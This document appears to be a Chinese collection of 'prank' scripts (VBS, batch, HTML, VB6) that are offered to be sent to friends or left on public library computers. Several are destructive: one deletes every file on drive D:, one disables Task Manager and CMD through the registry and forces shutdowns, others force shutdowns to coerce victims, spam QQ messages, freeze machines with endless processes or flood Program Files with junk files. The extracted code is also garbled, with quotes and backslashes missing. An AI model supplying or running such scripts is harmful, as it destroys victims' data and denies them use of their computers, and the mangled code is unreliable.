vbs整人代码集合.docx

1、vbs整人代码集合echo off if%1=h goto begin mshta vbscript:createobject(wscript.shell).run(%nx0 h,0)(window.close)&exit:begin tasklist|find/i QQ.exe if%errorlevel%=0(goto killit)else(goto next):killit taskkill/f/im QQ.exe:next ping-n 3 127.t nul 2nul goto begin 分割线把以上代码保存成 txt格式，然后把后缀改成 bat,然后双击运行嘿嘿，那你的 qq就

2、不能运行了哟 color 4f echo off echo 删除计算机的 C盘的所有文件.ping 127.0.0.1/n 2 nul echo 已删除完毕 echo.echo 删除计算机的 D盘的所有文件.ping 127.0.0.1/n 2 nul echo 已删除完毕 echo.echo 删除计算机的 E盘的所有文件.ping 127.0.0.1/n 2 nul echo 已删除完毕 color echo.echo.=echo.啊哈哈，都删关，都杀关，哈哈 echo.=echo.系统将马上崩溃.echo.这是一个木马程序.您的所有资料已经传到 XXXX shutdown/r/t 30/c

3、 电脑在 30s内即将崩溃,哈哈，你活该！ntsd-c q-pn explorer.exe ping 127.0.0.1/n 20 nul start explorer.exe shutdown-a_分割线_将分割线以上部分保存到 txt格式，然后把后缀改成 bat就可以运行了运行后你的磁盘会被格式化当然那是假的。用来吓人的。希望你玩的愉快。set WSHshellA=wscript.createobject(wscript.shell)WSHshellA.run cmd.exe/c shutdown-r-t 180-c 说我是猪，不说我是猪就一分钟关机，不信，试下,0,true dim ad

4、o while(a 我是猪)a=inputbox(说我是猪,就不关机，快撒，说 我是猪,说不说,8000,7000)msgbox chr(13)+chr(13)+chr(13)+a,0,MsgBoxloopmsgbox chr(13)+chr(13)+chr(13)+早说就行了嘛dim WSHshellset WSHshell=wscript.createobject(wscript.shell)WSHshell.run cmd.exe/c shutdown-a,0,true msgbox chr(13)+chr(13)+chr(13)+哈哈哈哈，好乖-新建一个记事本 把上面的代码复制进去 另

5、存为 VBE格式的就可以了让对方说 我是猪set wsh=createobject(wscript.shell)do wsh.run calc loop新建一个记事本 把上面的代码复制进去 另存为 VBE格式的就可以了打开无数个计算器，直到死机、你打开好友的聊天对话框,然后记下在你 QQ里好友的昵称,把下面代码里的 xx替换一下,就可以自定义发送 QQ信息到好友的次数(代码里的数字 10改一下即可).xx.vbs=-On Error Resume NextDim wsh,yeset wsh=createobject(wscript.shell)for i=1 to 10wscript.slee

6、p 700wsh.AppActivate(与 xx 聊天中)wsh.sendKeys vwsh.sendKeys iwsh.sendKeys%snextwscript.quit-QQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-do msgbox You are foolish!loop-三、打开无数个计算器，直到死机-set wsh=createobject(wscript.shell)dowsh.run calcloop-四、直接关机-dim WSHshellset WSHshell=wscript.createobject(w

7、script.shell)WSHshell.run shutdown-f-s-t 00,0,true-五、删除 D:所有文件-dim WSHshellset WSHshell=wscript.createobject(wscript.shell)WSHshell.run cmd/c del d:*.*/f/q/s,0,true-六、不断弹出窗口-while(1)msgbox 哈哈 你被耍了！loop-七、不断按下 alt+f4（开什么都关闭）-dim WSHshellset WSHshell=wscript.createobject(wscript.shell)while(1)WSHshell

8、.SendKeys%F4loop-八、按 500次回车(以上代码在运行者的电脑上显示 500个对话框。其中 do until s=500，500可以随意更改)-dim sdo until s=500s=s+1msgbox 哥们，给我按 500次回车吧,64loop-九、关不掉的窗口-WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！&TSName)WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉，这你都不知道吗？)WScript.Echo(怎么才来，说是不是不关心我)WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)WScript.E

9、cho(小强很生气，后果很严重哦。)WScript.Echo(嘿嘿！你也会很惨滴哦)WScript.Echo(是不是想清除我？)WScript.Echo(那你要点上 50下哦，不过会给你惊喜滴)WScript.Echo(还剩 49下，快点点哦)WScript.Echo(还剩 48下，快点，小笨蛋！)WScript.Echo(还剩 47下对，就这样快点点！)WScript.Echo(还剩 46下。你啊就是笨，要快哦，我先不打扰你工作。)WScript.Echo(还剩 45下，记得要快哦！)WScript.Echo(还剩 43下)WScript.Echo(还剩 42下)WScript.Echo(还

10、剩 41下)WScript.Echo(还剩 40下)WScript.Echo(还剩 39下)WScript.Echo(还剩 38下)WScript.Echo(还剩 37下)WScript.Echo(还剩 36下)WScript.Echo(还剩 35下)WScript.Echo(还剩 34下)WScript.Echo(还剩 33下)WScript.Echo(还剩 32下)WScript.Echo(还剩 30下)WScript.Echo(还剩 29下)WScript.Echo(还剩 28下)WScript.Echo(还剩 27下)WScript.Echo(还剩 26下)WScript.Echo(还

11、剩 25下)WScript.Echo(还剩 24下)WScript.Echo(还剩 23下)WScript.Echo(还剩 22下)WScript.Echo(还剩 21下)WScript.Echo(还剩 20下)WScript.Echo(还剩 19下)WScript.Echo(还剩 18下)WScript.Echo(还剩 17下)WScript.Echo(还剩 16下)WScript.Echo(还剩 15下)WScript.Echo(还剩 14下)WScript.Echo(还剩 13下停停！慢点，我有话要说)WScript.Echo(还剩 12下，你继续点我就会消失滴)WScript.Echo

12、(还剩 11下，以后就看不到我拉。555555)WScript.Echo(还剩 10下，你现在可以选择停止！)WScript.Echo(还剩 9下。你还点啊，不要我拉？)WScript.Echo(还剩 8下，有点伤心拉，干嘛丢弃人家)WScript.Echo(还剩 7下。疯了，你有点负意！)WScript.Echo(还剩 6下。对。你就点吧，我恨你！)WScript.Echo(还剩 5下，不明白，删除我你就好吗？)WScript.Echo(还剩 4下！真要删除我？)WScript.Echo(还剩 3下。可是我真的很眷恋你。)WScript.Echo(还剩 2下。不要这么绝情嘛，人家是爱你的！)

13、WScript.Echo(还剩 1下。哼，既然你这么绝情。也别怪我无义！)WScript.Echo(我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点

14、一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)-两个整人的 VBS脚本2009-07-16 18:16文章录入：7747.Net 责任编辑：7747.Net 564【字体：小 大】测试环境：Windows 2003 系统大家好 我是 Vanlisa QQ137841986今天给大家带来两个整人的 VBS脚本 希望大家喜欢VBS脚本大家都知道吧 第一个是定时关机的如果把他发给你的 QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的时间内关机 我设置的是 3分钟 只要输入就解除了 当然如果不输的话也有解除的办法我们来看下

15、这个脚本-on error resume nextdim WSHshellAset WSHshellA=wscript.createobject(wscript.shell)WSHshellA.run cmd.exe/c shutdown-r-t 180-c 说我是猪，不说我是猪就一分钟关机，不信，试下,0,truedim ado while(a 我是猪)a=inputbox(说我是猪,就不关机，快撒，说 我是猪,说不说,8000,7000)msgbox chr(13)+chr(13)+chr(13)+a,0,MsgBoxloopmsgbox chr(13)+chr(13)+chr(13)+早

16、说就行了嘛dim WSHshellset WSHshell=wscript.createobject(wscript.shell)WSHshell.run cmd.exe/c shutdown-a,0,truemsgbox chr(13)+chr(13)+chr(13)+哈哈哈哈，好乖-新建一个记事本 把上面的代码复制进去 另存为 VBE格式的就可以了cmd.exe/c shutdown-r-t 180-c这里的数字可以修改关机时间 180秒这些文字也可以自设 这个脚本启用 cmd 里的关机程序如果不输的的话 可以打开任务管理器 输入 shutdown-a 来解除 我们试下 这时定时关机已经没

17、了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉 Wscript.exe 这个进程就 OK了 这时就完全解除这个脚本了 Wscript 时 Windows 脚本宿主-下面看第二个整人的脚本-set ws=createobject(wscript.shell)call shutdown(1)do while a我是猪a=inputbox(快在下面的框框里输入我是猪,否则后果自负，快输我是猪,输不输,)loopcall shutdown(2)msgbox 早说就行了嘛,4096+64msgbox再输一遍我是猪!,4096+64msgbox我是猪!,4096+64MsgBox最后一次!,409

18、6+64MsgBox如果你很快的点过去,不看的话,4096+64MsgBox我就要你踩我空间的!哼!,4096+64MsgBox从前有座山!,4096+64MsgBox山里有个庙.,4096+64MsgBox庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exe http:/i=1 to 100MsgBox i&只绵羊,4096+64nextmsgbox哎呀我困了，这次就饶过你吧，下次注意哦!,4096+64msgbox最后问个问题，我是不是大好人！,4096+64if inputbox(是不是,请选择,是)是 thencall shutdown(1)end ifsub

19、shutdown(s)select case scase 1ws.runcmd.exe/c shutdown-r-t 60-c,0case 2ws.runcmd.exe/c shutdown-a,0end selectend sub-ws.runiexplore.exe http:/点到你设定的数字for i=1 to 100从 1到 100可以改成 20 其他的数字解除这个 VBS脚本的办法就简单了 只是关掉任务管理器里 Wscript.exe这个进程就好了BY：2009QQ整人代码2010-01-28 21:18set s=createobject(wscript.shell)set ba

20、g=getobject(winmgmts:.rootcimv2)set pipe=bag.execquery(select*from win32_process where name=wscript.exe)For Each id in pipeif instr(1,mandLine,wscript.scriptfullname)0 and pipe.count=2 thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORDs.regwriteHKCUSoftw

21、arePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORDid.terminate()elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfor i=1 to 60s.popup系统将在&60-i&秒后关机.,1,系统提示,4096+48nextSet col

22、OS=GetObject(winmgmts:(Shutdown).ExecQuery(Select*FROM Win32_OperatingSystem)For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNextcolor=#FF0000复制以上代码，在桌面建一个文本，把代码放进去，另存为 VBE格式，此代码的威力：1：开机就强制自动关机2：cmd命令打不开3：结束任务不管用4：F8安全模式也不管用呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第 2次保存的那个 VBE文件，P

23、S：不要乱拿软件去整人，发生什么事可不要怪我啊。拍拍手 顶起吧!2：on error resume nextdim WSHshellAset WSHshellA=wscript.createobject(wscript.shell)WSHshellA.run cmd.exe/c shutdown-r-t 60-c 说你是傻 B，我是天下第一大傻 B不说宝宝，我是天下第一大傻 B就一分钟关你机，不信，试试,0,truedim ado while(a 宝宝，我是天下第一大傻 B)a=inputbox(宝宝，我是天下第一大傻 B,就不关机，快撒，说 宝宝，我是天下第一大傻 B,说不说,不说,8000

24、,7000)msgbox chr(13)+chr(13)+chr(13)+a,0,MsgBoxloopmsgbox chr(13)+chr(13)+chr(13)+早说就行了嘛，乖乖dim WSHshellset WSHshell=wscript.createobject(wscript.shell)WSHshell.run cmd.exe/c shutdown-a,0,truemsgbox chr(13)+chr(13)+chr(13)+宝宝是不是又帅啦？这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、网页整人效果代码2009-05-09 11:57想看效果，只要复制这下面的所

25、有代码保存在 text文件里，修改文件后缀为 txt就能看到效果了。网页特效|L href=onMouseover=alert(为什么把鼠标放到这里?);alert(我不是说过不可以这样吗？);alert(你把我的话当什么了？);alert(你知道错了吗？);alert(什么？你居然.);alert(居然还没意识到自己做错了？);alert(那好，你要为此付出代价!);alert(我要你在这里点足一千下.);alert(什么？你开始有点后悔了？);alert(何必呢？);alert(你当初干什么去了？);alert(不原谅你！);alert(好从现在开始再点 995下.);alert(你的手开

26、始累了吗?);alert(什么？你已经没力气了？);alert(你一直在求我原谅你啊！);alert(看来你是真的知道错了!);alert(下次你还会这么做吗？);alert(真的不会了？);alert(那好，今天就放你一马！);alert(写封信给我说声对不起!);alert(你能这么做我很高兴!);document.bgColor=black;document.fgColor=White;window.location.href=mailto:mygodgod?subject=对不起,下次不敢了!;不许把鼠标移到这里嘻试吧爽噢。vbs整人代码2010-02-07 22:04代码如下：Pri

27、vate Sub Form_Load()Me.HideEnd SubPrivate Sub Timer1_Timer()声明变量，其中“count”为静态变量，以便生成不同的文件Dim files As StringDim nr As StringDim c As StringStatic count As Long定义要把生成的文件存放在那个目录文件下c=C:Program Files生成文件的内容nr=哈哈，被黑的感觉的不错吧files=FreeFile如果 a等于 a那么就执行If a=a Thencount不断的加 1，以便产生不同的文件名count=count+1产生文件名及文件句柄，并用 count作为产生不同的文件名。Open c&system&count&.dll For Append As#files向文件写内容Write#files,nr清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示Close#filesEnd IfEnd Sub